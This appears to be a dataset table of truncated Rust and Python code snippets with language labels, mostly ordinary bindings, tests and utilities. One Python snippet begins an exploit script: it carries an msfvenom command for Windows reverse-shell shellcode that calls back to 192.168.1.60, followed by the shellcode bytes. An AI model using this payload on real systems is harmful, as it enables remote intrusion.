text string | label_name string | labels int64 |
|---|---|---|
c_uint = 7;
pub static MEMCACHED_BEHAVIOR_POLL_TIMEOUT: ::libc::c_uint = 8;
pub static MEMCACHED_BEHAVIOR_DISTRIBUTION: ::libc::c_uint = 9;
pub static MEMCACHED_BEHAVIOR_BUFFER_REQUESTS: ::libc::c_uint = 10;
pub static MEMCACHED_BEHAVIOR_USER_DATA: ::libc::c_uint = 11;
pub static MEMCACHED_BEHAVIOR_SORT_HOSTS: ::libc::... | Rust | 0 |
# coding = utf-8
'''
@author = super_fazai
@File : 被装饰的函数有不定长参数_test.py
@Time : 2017/8/5 22:12
@connect : superonesfazai@gmail.com
'''
from time import ctime, sleep
# 对应使用可变参数*args, 和关键字参数**kwargs来接收不同的参数即可 (*args 为元组数据, **kwargs 为字典数据)
# 可变参数
# 可变参数就是传入的参数个数是可变的,可以是1个、2个到任意个,还可以是0个
# 关键字参数
# 关键字参数允许你传入0个或任意... | Python | 1 |
"""
A simple CNN implemented in PyTorch.
This model is an image encoder.
The input is a batch of images of dimension [batch_size, C, H, W].
The output is a sequence of image tokens of dimension [batch_size, num_tokens, token_dim].
"""
import torch.nn as nn
from einops.layers.torch import Rearrange
class Model(nn.Modu... | Python | 1 |
use events::{network::NetworkConfiguration,
tests::{connect_message, raw_message, TestEvents}};
use node::EventsPoolCapacity;
struct BenchConfig {
times: usize,
len: usize,
tcp_nodelay: bool,
}
fn test_events(cfg: &BenchConfig, listen_address: SocketAddr) -> TestEvents {
let network_confi... | Rust | 0 |
ING")]
const WILLING = ffi::NM_SETTING_DCB_FLAG_WILLING as u32;
}
}
impl fmt::Display for SettingDcbFlags {
fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result {
<Self as fmt::Debug>::fmt(self, f)
}
}
#[doc(hidden)]
impl IntoGlib for SettingDcbFlags {
type GlibType = ffi::NMSettingDcb... | Rust | 0 |
from amitools.vamos.cfgcore import *
class LogParser(Parser):
def __init__(self, ini_prefix=None):
levels = ("debug", "info", "warn", "error", "fatal", "off")
def_cfg = {
"logging": {
"levels": ValueDict(str, enum=levels),
"file": Value(str),
... | Python | 1 |
import pybullet as p
import time
import pybullet_data
import numpy as np
np.set_printoptions(precision=6, suppress=True)
import math
from modern_robotics import *
import modern_robotics as mr
import numpy as np
from mr_urdf_loader import loadURDF
def pos_orn_to_T(pos, orn):
T = np.eye(4)
T[0:3, 3] = np.array... | Python | 1 |
assert 2 == pattern.count(
dtstart=datetime(2014, 1, 1, 0, 0, 0),
dtend=datetime(2014, 1, 2, 0, 0, 0),
)
def test_before():
assert PATTERN.before(
datetime(2014, 1, 3, 0, 0, 0)
) == datetime(2014, 1, 2, 0, 0, 0)
assert PATTERN.before(
datetime(2014, 1, 3, 0, 0, 0)... | Python | 1 |
#[doc = " @param cb callback"]
#[doc = ""]
#[doc = " @return"]
#[doc = " - ESP_OK: succeed"]
#[doc = " - ESP_ERR_WIFI_NOT_INIT: WiFi is not initialized by esp_wifi_init"]
pub fn esp_wifi_set_promiscuous_rx_cb(cb: wifi_promiscuous_cb_t) -> esp_err_t;
}
extern "C" {
#[doc = " @brief ... | Rust | 0 |
reloader (Any): Function to reload a module.
destination (Sequence[str]): List of worker names to send this
command to.
See Also:
Supports the same arguments as :meth:`broadcast`
"""
return self.broadcast(
'pool_restart',
argument... | Python | 1 |
results to .csv
start = datetime.datetime.now()
predicted = imputer.predict(X_test)
scoreTest = imputer.score(X_test, Y_test)
if (scoreTest >= maxScore):
maxScore = scoreTest
Bestmodel = name
end = datetime.datetime.now()
durationTest = end - start... | Python | 1 |
from homeassistant.helpers.entity import Entity
from homeassistant.components.binary_sensor import BinarySensorDevice
import logging
import json
# DOMAIN = 'aqara'
_LOGGER = logging.getLogger(__name__)
def setup_platform(hass, config, add_devices, discovery_info=None):
"""Setup the sensor platform."""
# # ... | Python | 1 |
from sqlalchemy_redshift import dialect
from rs_sqla_test_utils.utils import clean, compile_query
# These are fake credentials for the tests.
ACCESS_KEY_ID = 'IO1IWSZL5YRFM3BEW256'
SECRET_ACCESS_KEY = 'A1Crw8=nJwEq+9SCgnwpYbqVSCnfB0cakn=lx4M1'
CREDS = (
(
'aws_access_key_id={access_key_id}'
';aws_s... | Python | 1 |
97, 20, 26, 189, 4, 169, 159, 214, 130, 44, 133, 88, 133, 76, 205, 227, 154, 86, 132, 231, 165, 109, 162, 125];
/// let size_set = [16, 32, 45, 64, 128, 256, 512];
/// for size_in_pixels in size_set.into_iter() {
/// let content = generate_png(alice, size_in_pixels).unwrap();
/// let image = load_from_memory(&c... | Rust | 0 |
# This function demonstrates how to return a nested function from an outer function.
def outer_function():
# Inner function that prints a message
def inner_function():
print('inside inner function')
# Return the inner function without calling it
return inner_function
# Store the returned inner ... | Python | 1 |
write!(
f,
"
#[ignore]
#[test]
#[allow(non_snake_case)]
fn search_{corpus_escaped}_{name_escaped}() {{
let aql = r###\"{aql}\"###;
if let Some(cs_mutex) = CORPUS_STORAGE.as_ref() {{
let search_count = {{
let cs = cs_mutex.lock().unwrap();
let search_query... | Rust | 0 |
RIGHT)
.connect_full(1, 2, RIGHT)
.connect_full(2, 3, RIGHT)
.connect_full(4, 5, RIGHT)
.connect_full(5, 6, RIGHT)
.connect_full(6, 7, RIGHT)
.connect_full(8, 9, RIGHT)
.connect_full(9, 10, RIGHT)
.connect_full(10, 11, RIGH... | Rust | 0 |
0x0003, lambda_0597)
@scena.Lambda('lambda_05A5')
def lambda_05A5():
ChrSetDirection(0x00FE, 135, 400)
ExitThread()
DispatchAsync(0x00F9, 0x0003, lambda_05A5)
@scena.Lambda('lambda_05B3')
def lambda_05B3():
CameraMove(42950, 0, 70140, 2000)
ExitThread()
Disp... | Python | 1 |
he button's index as a
// seed for a simple encoder
let mut tmp: String;
let label: &str;
if let Some(lab) = self.maybe_label {
label = lab;
} else {
let gen = 53647699;
let mut num = id.index() << 16;
... | Rust | 0 |
read_pose.pose.orientation.w=1
out_path[lane_num].poses.append(read_pose)
lane_weight=[6,4,2,0,2,4,6] #reference path
collision_bool=[False,False,False,False,False,False,False]
if len(global_vaild_object)>0:
for obj in global_vaild_object :
... | Python | 1 |
r) {
let mut buffer: [i8; 65536] = [0; 65536];
null_struct!(input);
null_struct!(output);
output.data = buffer.as_mut_ptr();
unsafe {
jitter_buffer_reset(jb);
}
for i in 0..100 {
synth_in(&mut input, i, 1);
unsafe {
jitter_buffer_put(jb, &input);
... | Rust | 0 |
import socket
import os
import sys
import struct
ip = "127.0.0.1"
port = 80
#\x00\x0a\x0d\x20\x25\x2f\x5c
#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.60 LPORT=6789 -f python -v shellcode -b '\x00\x0a\x0d\x20\x25\x2f\x5c' EXITFUNC=thread
shellcode = b""
shellcode += b"\xdb\xcf\xbe\x3f\xe3\xd2\xa3\xd9\x74\... | Python | 1 |
import os
import subprocess
import tempfile
from pathlib import Path
import pygltflib
# TODO(top): The fact that we're shelling out here to a subprocess isn't
# excellent:
#
# 1. The subprocess interfaces through files, so we need to create
# temporary files, introducing a dep... | Python | 1 |
class Solution:
def uniquePathsWithObstacles(self, obstacleGrid: list[list[int]]) -> int:
M = len(obstacleGrid)
N = len(obstacleGrid[0])
dp = [0] * N
dp[N - 1] = 1
for r in reversed(range(M)):
for c in reversed(range(N)):
if obstacleGrid[r][c]:
... | Python | 1 |
c_ulong) -> c_int,
pub fn XGetGCValues (_4: *mut Display, _3: GC, _2: c_ulong, _1: *mut XGCValues) -> c_int,
pub fn XGetGeometry (_9: *mut Display, _8: c_ulong, _7: *mut c_ulong, _6: *mut c_int, _5: *mut c_int, _4: *mut c_uint, _3: *mut c_uint, _2: *mut c_uint, _1: *mut c_uint) -> c_int,
pub fn XGetIconName (_3:... | Rust | 0 |
from openai import OpenAI
import numpy as np
import time,random
from models.rag.bass_class import Base
class openai(Base):
def __init__(self,config):
super().__init__(config)
self.retrieval_methods = "openai"
self.embedding_model = config["embedding_model"]
self.client = OpenAI(api_... | Python | 1 |
#!/usr/bin/python3
#
# Copyright © 2021 Keith Packard <keithp@keithp.com>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later versi... | Python | 1 |
18\xb4\x0cd\x94\xca\
\xf9*\xdcL\xde+M\xe2g\x08r%\x05`\x85\x1b\
\xd3\x1b\xd1gJ\x8c\xf0\xe4\x98\xe6^\x14\xd5\x1biv\
\x1c\x88&\xf4c\x05\xcd\xcb\xad\xe61\x7f\xe1\x05\x94K\
m\x10\x09n````\xd0\xb1`\x15&\x9f\x9e\x87\
\xccM\x01\xc5<\x1a\x12lR'p\xc1\xd8\xc4\xe0a\
t\x0d\xedhH\xb4\x88\xcfH\x8c\x05\xab\xd9q1\xb4\
M\x99\x9e\x04\xc2... | Python | 1 |
Staking::ExecuteMsg::Bond"),
("user", sender_addr.as_str()),
("amount", amount.to_string().as_str()),
("total_bonded", staker_info.bond_amount.to_string().as_str()),
]))
}
/// @dev Only owner can call this function. Updates the config
/// @dev init_timestamp : can only be updated before it ... | Rust | 0 |
}
self.run.set(self.run.get() + 1);
self.mod_exp_done.set(true);
}
}
static CALLBACK: RsaTestCallback = RsaTestCallback::new();
#[test_case]
fn rsa_import_key() {
let key = unsafe { static_init!(RSA4096Keys, RSA4096Keys::new()) };
debug!("check rsa 4096 bit key import... ");
... | Rust | 0 |
://api.cloudflare.com/client/v4/zones/{}/dns_records/{}",
zone_id,
record_id);
let record_update_body = format!(
r#"{{ "id": "{}", "name": "{}", "content": "{}", "type": "{}" }}"#,
record_id,
record_name,
current... | Rust | 0 |
t",
"LICENSE.mysql": "text",
"NEWS": "text",
"README.me": "text",
"README.mysql": "text",
"README.nss": "text",
"click.me": "text",
"delete.me": "text",
"keep.me": "text",
"package.mask": "text",
"package.use.mask": "text",
"package.use.stable.mask": "text",
"read.me": "t... | Python | 1 |
pi = "3.1415926535897932384626433832795028841971693993751058209749445923078164062862089986280348253421170679"
print(pi[:int(input())+2])
| Python | 1 |
"""
name: packed_boxes.py
by: fischman
date: November 9th 2023
desc: Demo packing a bunch of boxes in 2D.
"""
import functools
import operator
import random
import build123d as bd
GEN_DOCS = False
random.seed(123456)
test_boxes = [bd.Box(random.randint(1, 20), random.randint(1, 20), random.randint(1, 5))
... | Python | 1 |
_value(tokenID)
args.push(SENDER2); // close_trader
args.push(CONTRACT_TOKEN_CLOSE); // close_contract
args.convert_to_vec()
};
hmemu::call_contract(&SENDER1, args, || {
assert!(open_swap().is_err());
... | Rust | 0 |
import logging
from module.eval_metrics import evaluate,rankscore,evaluate_args,evaluate_reranking,build_evaluate,evaluate_market_args,eval_PTR_map,tc,tds2
import torch
import numpy as np
import torch.nn as nn
from ortools.constraint_solver import routing_enums_pb2
from ortools.constraint_solver import pywrapcp
import ... | Python | 1 |
f64) -> Option<V3> {
let unit = v.unit();
let dt = unit.dot(normal);
let discriminant = 1.0 - ni_over_nt * ni_over_nt * (1.0 - dt * dt);
return if discriminant > 0.0 {
Some(ni_over_nt * (v - dt * normal) - discriminant.sqrt() * normal)
} else { None };
}
}
impl ... | Rust | 0 |
for num in 2..check_prime {
if check_prime % num == 0 {
can_be_aliquot = true;
break;
}
}
if !can_be_aliquot {
break;
}
}
check_prime
}
///DEPRECATED(这种获取方法太没必要):
///... | Rust | 0 |
&Rc<Config>, email_addr: &EmailAddress)
-> Box<Future<Item=Vec<Link>, Error=BrokerError>> {
// Look for a configuration override.
if let Some(mapped) = app.domain_overrides.get(email_addr.domain()) {
return Box::new(future::ok(mapped.clone()));
}
// Build the webfinger query URL. We can s... | Rust | 0 |
"""Test for utility functions."""
from docstring_parser.common import DocstringReturns
from docstring_parser.util import combine_docstrings
def test_combine_docstrings() -> None:
"""Test combine_docstrings wrapper."""
def fun1(arg_a, arg_b, arg_c, arg_d):
"""short_description: fun1
:param a... | Python | 1 |
= num_emitted
# reorder
reordered = np.zeros((np.sum(vertex_counts), 3), np.int32)
reordered_counts = np.zeros(num_indexes, np.int32)
reordered_idx = 0
for reordered_num in range(num_indexes):
count = vertex_counts[indexes_reorder[reordered_num]]
src_start = hull_offsets[indexes_reor... | Python | 1 |
/// data.swap(&mut vector1);
/// output.session(&time).give_vec(&mut vector1);
/// });
/// input2.for_each(|time, data| {
/// data.swap(&mut vector2);
/// output.session(&time).give_vec(&mut vector2);
/// });
/// });... | Rust | 0 |
tic, A>,
}
impl<L: 'static + Pin, A: 'static + Alarm<'static>> LedMatrixComponent<L, A> {
pub fn new(
alarm_mux: &'static MuxAlarm<'static, A>,
col: &'static [&'static L],
row: &'static [&'static L],
col_active: ActivationMode,
row_active: ActivationMode,
refresh_rat... | Rust | 0 |
from Crypto.Cipher import AES
from itertools import product
import hashlib
DEBUG = True
ENCRYPTED = b'\xA5\xD1\xDB\x88\xFD\x34\xC6\x46\x0C\xF0\xC9\x55\x0F\xDB\x61\x9E\xB9\x17\xD7\x0B\xC8\x3D\xE5\x1B\x09\x71\xAE\x5F\x1C\xB5\xC7\x2C\xC5\x3F\x5A\xA7\xFB\xED\x63\xE6\xAD\x04\x0D\x16\xF6\x33\x16\x01'
ENCHED = ENCRYPTED[:16... | Python | 1 |
proximate), "le 16 vers 18h", "le 16 plutôt vers 18h", "le 16 vers 6h du soir", "le 16 vers 6h dans la soirée");
example!(v, check_moment!(c, [2013, 2, 17]), "17 février", "le 17 février", "17/2", "17/02", "le 17/02", "17 02", "17 2", "le 17 02", "le 17 2");
example!(v, check_moment!(c, [2013, 2, 13]), "mercred... | Rust | 0 |
import redis
from config.settings import REDIS_HOST, REDIS_PORT
class RedisResultBackend:
def __init__(self):
self.redis_client = redis.StrictRedis(host=REDIS_HOST, port=REDIS_PORT, decode_responses=True)
def store_result(self, task_id, result):
self.redis_client.set(task_id, result)
... | Python | 1 |
append(logits)
batch_labels.append(img_label)
all_logits.append(torch.cat(batch_logits).cpu())
all_labels.append(torch.cat(batch_labels).cpu())
select_prompts = [[] for i in range(len(classnames))]
select_features = []
for text_label, logits in enumerate(all_logits):
im... | Python | 1 |
# Utils/utils.py
import re
import logging
def format_text_by_sentences(text: str, max_words: int = 100) -> str:
if not isinstance(text, str):
raise ValueError("text must be a string")
if not isinstance(max_words, int) or max_words <= 0:
raise ValueError("max_words must be a positive integer")
... | Python | 1 |
, welcome to the help menu !</b>
**in this menu you can open several available command menus, in each command menu there is also a brief explanation of each command**
⚡ __Powered by {BOT_NAME} A.I__""",
reply_markup=InlineKeyboardMarkup(
[
[
InlineKeyboardButton... | Python | 1 |
:Comparable))]
#[derive(Clone, PartialEq, ::prost::Message)]
pub struct AddHotKey {
#[prost(message, optional, tag="1")]
pub new_hot_key: ::core::option::Option<::ic_base_types::PrincipalId>,
}
/// Remove a hot key that has been previously assigned to the neuron.
#[derive(candid::Can... | Rust | 0 |
"""
文件名: Code/Chapter03/C19_Activation/main.py
创建时间: 2023/2/18 10:42 上午
作 者: @空字符
公众号: @月来客栈
知 乎: @月来客栈 https://www.zhihu.com/people/the_lastest
"""
import matplotlib.pyplot as plt
import numpy as np
import torch.nn as nn
import torch
def sigmoid(x):
return 1 / (1 + torch.exp(-x))
class MySigmoid(nn.Module):
... | Python | 1 |
class PartType(Enum,IComparable,IFormattable,IConvertible):
"""
An enumerated type listing all MEP family part types. A part type typically provides one unique set of type parameters that defines this part.
enum PartType,values: AttachesTo (3),BreaksInto (4),Cap (9),ChannelCableTrayCross (37),ChannelCableTrayElb... | Python | 1 |
T_CLEAR.0.into(), "CONJOINT_CLEAR", "ConjointClear"),
(Self::CONJOINT_SRC.0.into(), "CONJOINT_SRC", "ConjointSrc"),
(Self::CONJOINT_DST.0.into(), "CONJOINT_DST", "ConjointDst"),
(Self::CONJOINT_OVER.0.into(), "CONJOINT_OVER", "ConjointOver"),
(Self::CONJOINT_OVER_REVERSE.... | Rust | 0 |
pub fn user_kek_body0_mut(&self) -> &mut USER_KEK_BODY0 {
unsafe { &mut *(((self as *const Self) as *mut u8).add(1264usize) as *mut USER_KEK_BODY0) }
}
#[doc = "0x4f4 - ."]
#[inline(always)]
pub fn user_kek_key_code3(&self) -> &USER_KEK_KEY_CODE3 {
unsafe {
&*(((self as *cons... | Rust | 0 |
ic item with the given [crate::id::Id] must have the given base type.
IdToTy {
id: Spanned<UniversalId<'ctx>>,
ty: Spanned<Ty<'ctx>>,
},
/// A specific item with the given [crate::id::Id] must have the same type as a different item.
#[allow(unused)]
IdToId {
id: Spanned<Unive... | Rust | 0 |
eather.doap'),
Project(['GCab'], 'https://gitlab.gnome.org/GNOME/gcab/raw/master/gcab.doap'),
Project(['GXPS'], 'https://gitlab.gnome.org/GNOME/libgxps/raw/master/libgxps.doap'),
Project(['Cally', 'Clutter', 'ClutterGdk', 'ClutterX11'], 'https://gitlab.gnome.org/GNOME/clutter/raw/master/clutter.doap'),
... | Python | 1 |
14,Alpha,149
"},
str::from_utf8(&buf).unwrap()
);
}
#[test]
fn test_sort_by_num_using_file() {
let mut fin = tempfile::tempfile().unwrap();
write!(fin, "{}", CSV).unwrap();
fin.seek(io::SeekFrom::Start(0)).unwrap();
let mut buf = Vec::new();
let fout = Box::new(&mut... | Rust | 0 |
"""
MCP Server Implementation for Python
Reference: https://modelcontextprotocol.io/specification/2024-11-05
"""
import asyncio
import json
from dataclasses import dataclass, field
from enum import Enum
from typing import Any, Callable, Dict, List, Optional, Tuple, Union
from src.constants.system import SystemConstan... | Python | 1 |
_dijkstra.get_nodes() != path_fast.get_nodes() {
num_different_paths += 1;
}
}
if num_different_paths as f32 > 0.1 * NUM_QUERIES as f32 {
assert!(
false,
format!(
"too many different paths: {}, out of {}, a few d... | Rust | 0 |
*
$( #[ $sub_attr ] )*
pub struct [< $suberror Subdetail >] {
$( pub $arg_name: $arg_type, )*
pub source: $crate::alloc::boxed::Box< [< $name Detail >] >
}
];
};
( @tracer( $tracer:ty ),
@attr[ $( $attr:meta ),* ],
@sub_attr[ $( $sub_attr:meta ),* ],
@name( $name:id... | Rust | 0 |
second camera
bottom_camera = cv2.VideoCapture(0) # Open the default camera
# Start bottom camera feed thread
bottom_camera_thread = threading.Thread(target=bottom_camera_feed, args=(bottom_camera,))
bottom_camera_thread.start()
# Start front camera feed thread
front_camera_thread = threadin... | Python | 1 |
update, context):
print(f"Update {update} caused error {context.error}")
def main():
updater = Updater(telegram_api, use_context=True)
dp = updater.dispatcher
dp.add_handler(CommandHandler("Start", start_command))
dp.add_handler(CommandHandler("Help", help_command))
dp.add_handler(MessageHandl... | Python | 1 |
}
#[doc="Receive data register"]
#[derive(Default, Clone, Copy, PartialEq, Eq)]
pub struct Rdr(pub u32);
impl Rdr {
#[doc="Receive data value"]
#[inline] pub fn rdr(&self) -> ::bobbin_bits::U9 {
unsafe { ::core::mem::transmute(((self.0 >> 0) & 0x1ff) as u16) } // [8:0]
}
#[doc="Returns true if... | Rust | 0 |
from PIL import Image, ImageEnhance, ImageColor, ImageFilter, UnidentifiedImageError
import os
# Klasör ayarları
input_folder = 'pectus excavatum_images_resized'
output_folder = 'PEKTUS EKSKAVATUM'
os.makedirs(output_folder, exist_ok=True)
# Yeni boyut
new_size = (500, 500)
# Görselleri işleme ve veri artırma işleml... | Python | 1 |
#!/usr/bin/env python
# -*- coding: utf-8; py-indent-offset:4 -*-
###############################################################################
#
# Copyright (C) 2015-2020 Daniel Rodriguez
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License a... | Python | 1 |
")
.style("padding", "var(--white-space)")
.pseudo!(":active", {
.style("background-color", "var(--background-secondary-alt)")
.style("color", "var(--ui-text)")
})
.pseudo!(":focus", {
.style("background-color", "var(--background-secondary-alt)")
.style("color", "var(--ui-tex... | Rust | 0 |
eze3(out3h), self.squeeze4(out4h), self.squeeze5(out5v)
out2h, out3h, out4h, out5v, pred1 = self.decoder1(out2h, out3h, out4h, out5v)
out2h, out3h, out4h, out5v, pred2 = self.decoder2(out2h, out3h, out4h, out5v, pred1)
#x_size = x.size()[2:]
pred1 = F.interpolate(self.linearp1(pred1), s... | Python | 1 |
ColorAdjustType_ColorAdjustTypeAny: ColorAdjustType = 6;
pub type ColorAdjustType = c_int;
#[repr(C)]
#[derive(Debug, Copy, Clone)]
pub struct ColorMap {
pub oldColor: Color,
pub newColor: Color,
}
#[repr(C)]
#[derive(Debug, Copy, Clone)]
pub struct GpGraphics {
pub _address: u8,
}
#[repr(C)]
#[derive(Debu... | Rust | 0 |
resize(logo_img, None, fx=zoom, fy=zoom, interpolation=cv2.INTER_AREA)
else:
resized_logo_img = cv2.resize(logo_img, None, fx=zoom, fy=zoom, interpolation=cv2.INTER_CUBIC)
if origin:
logo_rows, logo_cols, _ = resized_logo_img.shape
mask = np.zeros(shape=(logo_rows, lo... | Python | 1 |
config.version, IE7_VERSION);
assert_eq!(config.counter, 58);
assert_eq!(config.config.automatically_detect_settings, false);
assert_eq!(config.config.use_manual_proxy, false);
assert_eq!(config.config.manual_proxy_address, String::from(""));
assert_eq!(config.config.manual_proxy... | Rust | 0 |
_err(|e| ShellError::unexpected(e.to_string()))?,
)
.map_err(|e| ShellError::unexpected(e.to_string()))?;
Ok(())
}
use crate::config::{Client, Response};
use crate::ids::{BalanceTransactionId, BalanceTransactionSourceId};
use crate::params::Object;
use crate::resources::{BalanceTransaction, BalanceTransact... | Rust | 0 |
ndoverNotify {
pub protocol_i_es: HandoverNotifyProtocolIEs,
}
#[derive(Debug, AperCodec)]
#[asn(type = "SEQUENCE", extensible = true)]
pub struct HandoverPreparationFailure {
pub protocol_i_es: HandoverPreparationFailureProtocolIEs,
}
#[derive(Debug, AperCodec)]
#[asn(type = "SEQUENCE", extensible = true, op... | Rust | 0 |
a para multa!!! Felicitaciones.")
billetito.pay(total)
# Pago con tarjeta
card = Card()
card.set_number('1234567891234567')
card.set_cvv('707')
payment_method = 'card'
if payment_method == 'card':
# Como se pagó con tarjeta, se aplica descuento del 2%
total_order = order... | Python | 1 |
import random
from hashlib import md5
def calc_sign(token: str, plain: str) -> str:
def md5_(token: str, s_1: str) -> str:
return "d" + md5(token.encode("utf8") + s_1.encode('utf-8')).hexdigest()
def axor(token: str, s_1: str) -> str:
s = token.encode("utf8")
s_1 = s_1.encode("utf8")
... | Python | 1 |
import numpy as np
from pandas import PeriodIndex
import pandas._testing as tm
class TestFactorize:
def test_factorize_period(self):
idx1 = PeriodIndex(
["2014-01", "2014-01", "2014-02", "2014-02", "2014-03", "2014-03"],
freq="M",
)
exp_arr = np.array([0, 0, 1, 1,... | Python | 1 |
{
if request.directory_path.is_empty() {
// If empty - All directories are requested
for handler_mapping in mapping.directory_mapping.values_mut() {
handler_mapping.modify(&request);
}
} else {
... | Rust | 0 |
Var {
index: 2,
sign: true,
},
],
},
Clause {
literals: vec![
Var {
... | Rust | 0 |
, but
// it is weird to use an API from the swap library
// here. Maybe we should move it to a common
// place, so it can be used for different
// protocols
let script_witness = sign_with_key(
SECP256K1,
... | Rust | 0 |
/// <p>The tracking ID for the event. The ID is generated by a call to the <a href="https://docs.aws.amazon.com/personalize/latest/dg/API_CreateEventTracker.html">CreateEventTracker</a> API.</p>
pub tracking_id: std::option::Option<std::string::String>,
/// <p>The user associated with the event.</p>
pu... | Rust | 0 |
self.text_rect_y, self.morse_rect_y = self.text_rect_y + 200, self.morse_rect_y + 200
self.text_rect = pygame.Rect(self.text_rect_x, self.text_rect_y, 140, 80)
self.morse_rect = pygame.Rect(self.morse_rect_x, self.morse_rect_y, 140, 80)
return self.text_rect, self.morse_rect
... | Python | 1 |
{02128}');
map.insert("zeta", '\u{003B6}');
map.insert("zfr", '\u{1D537}');
map.insert("zhcy", '\u{00436}');
map.insert("zigrarr", '\u{021DD}');
map.insert("zopf", '\u{1D56B}');
map.insert("zscr", '\u{1D4CF}');
map.insert("zwj", '\u{0200D}');
map.insert("zwnj", '\u{0200C}');
map
}
//... | Rust | 0 |
:
assert img.size == mask.size
w, h = img.size
long_size = max(h, w)
img = np.array(img)
mask = np.array(mask)
if long_size > self.crop_size:
stride = int(math.ceil(self.crop_size * self.stride_rate))
h_step_num = int(math.ceil((h - self.crop_si... | Python | 1 |
.k])
}
#[inline]
fn largest_lower_cell_sequence_len(&self, mut h: u64, entries: &[u64]) -> usize {
// Look for the maximum number of cells that could be merged if the hash is the first of a cell
let dd = ((h.trailing_zeros() >> 1) as u8).min(self.depth); // low_res_cell_depth = self.depth - delta_depth... | Rust | 0 |
ace.position.y
),
samples.surface.dimensions
);
let mvp = view.mvp(Matrix4::from_translation(samples.surface.position));
let samples_push_constants = samples::vs::ty::UBO {
mvp: [
[ mvp.x.x, mvp.x.y, mvp.x.z, mvp.x.w ],
[ mvp.y... | Rust | 0 |
askpass()).unwrap();
let sec_bcrypt = parse_secret_key(SECRET_BCRYPT, askpass()).unwrap();
assert_eq!(sec_none, sec_bcrypt);
let seckey = sec_none.clone();
let pub_none = format!("{:b}", sec_none.pubkey);
let pub_bcrypt = format!("{:b}", sec_bcrypt.pubkey);
assert_eq!(... | Rust | 0 |
ostic;
mod chiton;
mod dirac_dice;
mod dive;
mod dumbo_octopus;
mod extended_polymerization;
mod giant_squid;
mod hydrothermal_venture;
mod lanternfish;
mod packet_decoder;
mod passage_pathing;
mod reactor_reboot;
mod sea_cucumber;
mod seven_segment;
mod smoke_basin;
mod snailfish;
mod sonar_sweep;
mod syntax_scoring;
... | Rust | 0 |
ring.join([str(x) for x in slices[len(slices)-1]],' '))
prev_counters = counter_counts
numslices += 1
# not really an error... this is kind of a sloppy way of breaking out of the file read loop
except EOFError:
f.close()
print_debug('found ' + str(numslices) + ' slices ... | Python | 1 |
t_core() {
let mut core: Core<u64> = Core::with_capacity(4);
assert_eq!(core.len(), 4);
assert_eq!(core.capacity(), 4);
assert_eq!(core.is_empty(), false);
assert_eq!(core[3], None);
core[0] = Some(0);
core[1] = Some(1);
core[3] = Some(3);
assert_eq!(core.next(), Some(0));
ass... | Rust | 0 |
class Solution:
def minCapability(self, nums: List[int], k: int) -> int:
min_reward, max_reward = 1, max(nums)
total_houses = len(nums)
while min_reward < max_reward:
mid_reward = (min_reward + max_reward) // 2
possible_thefts = 0
index = 0
w... | Python | 1 |
message::ByteOrder::BigEndian => (number[1] as u16) + ((number[0] as u16) << 8),
};
Ok((2, val))
}
type UnmarshalResult<T> = std::result::Result<(usize, T), Error>;
pub fn unmarshal_header(buf: &Vec<u8>, offset: usize) -> UnmarshalResult<Header> {
if buf.len() < offset + HEADER_LEN {
retur... | Rust | 0 |
'dpm_2_ancestral', 'lms', 'dpm_fast', 'dpm_adaptive',
'dpmpp_2s_ancestral', 'dpmpp_sde', 'dpmpp_sde_gpu',
'dpmpp_2m', 'dpmpp_2m_sde', 'dpmpp_2m_sde_gpu',
... | Python | 1 |
rupadas.items():
simbolos_ordenados = sorted(simbolos)
etiqueta = ", ".join(simbolos_ordenados)
# Reemplazar épsilon con símbolo unicode
etiqueta = etiqueta.replace('ε', 'ε').replace('E', 'ε')
dot.append(f" \"{estado_origen}\" -> \"{estado_destino}\" [label=\... | Python | 1 |
(crate) fn new<P, T>(path: &'snapshot P, name: &T, flags: &[StrongholdFlags]) -> Self
where
P: AsRef<Path> + ?Sized,
T: AsRef<[u8]> + ?Sized,
{
Self {
store: Store::new(path, name, flags),
}
}
}
impl Records<'_> {
pub fn name(&self) -> &[u8] {
self.store.name()
}
pub fn path(&sel... | Rust | 0 |
ass)
}
```
*/
#![cfg_attr(RUSTC_IS_NIGHTLY, feature(proc_macro_diagnostic))]
extern crate proc_macro;
extern crate proc_macro2;
use proc_macro::TokenStream;
use proc_macro2::{Ident, Span, TokenStream as TokenStream2};
use quote::quote;
use std::str;
use syn::parse::{Parse, ParseStream};
use syn::punctuated::Punctuate... | Rust | 0 |
u16,
pub target_name: DomainName,
pub parameters: BTreeSet<ServiceParameter>,
/// Indicates whether or not this is an HTTPS record (RFC section 8)
pub https: bool,
}
impl ToType for ServiceBinding {
fn to_type(&self) -> Type {
if self.https {
Type::HTTPS
} else {
... | Rust | 0 |
er_nodes[node])
_cluster_nodes = list(cluster_nodes)
shuffle(_cluster_nodes)
for node in cluster_nodes:
print(" shuffle node=", node)
print(" shuffle cluster_nodes[node]=", cluster_nodes[node])
G_random = nx.Graph()
for x in _cluster_nodes:
... | Python | 1 |
}
#[doc = r"Get enumerated values variant"]
#[inline(always)]
pub fn variant(&self) -> Option<GPIO_INT_EN_A> {
match self.bits {
0 => Some(GPIO_INT_EN_A::DIS),
1 => Some(GPIO_INT_EN_A::EN),
_ => None,
}
}
#[doc = "Checks if the value of the fiel... | Rust | 0 |
from pyomo.environ import ConcreteModel, Set, Param, Var, NonNegativeReals, Binary
from config import TIME_STEPS
from data_loader import load_parameters
def create_model():
m = ConcreteModel()
m.T = Set(initialize=TIME_STEPS, ordered=True)
# load parameters
raw = load_parameters()
for pname, pvals ... | Python | 1 |
# -*- coding: utf-8 -*-
# Part of Odoo. See LICENSE file for full copyright and licensing details.
{
'name': "Product Matrix",
'summary': "Technical module: Matrix Implementation",
'description': """
Please refer to Sale Matrix or Purchase Matrix for the use of this module.
""",
'category': 'Sales/S... | Python | 1 |
#!/usr/bin/env python
#
# A library that provides a Python interface to the Telegram Bot API
# Copyright (C) 2015-2023
# Leandro Toledo de Souza <devs@python-telegram-bot.org>
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Lesser Public License as published by
#... | Python | 1 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.